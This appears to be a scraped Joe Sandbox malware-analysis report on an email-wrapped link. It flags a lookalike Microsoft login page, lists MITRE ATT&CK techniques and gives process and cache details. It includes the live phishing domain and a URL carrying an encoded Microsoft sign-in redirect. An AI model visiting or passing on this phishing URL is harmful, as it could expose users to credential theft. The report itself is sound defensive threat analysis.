Start date:	07/05/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: Yara match	File source: 4.6.pages.csv, type: HTML
Source: Yara match	File source: 5.7.pages.csv, type: HTML
Source: Yara match	File source: 5.15.pages.csv, type: HTML
Source: Yara match	File source: 5.9.pages.csv, type: HTML

Source: https://ihvnbhbvhbasdjbhjvbfh.site	Matcher: Template: microsoft matched with high similarity
Source: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Windows Analysis Report
https://url.us.m.mimecastprotect.com/s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net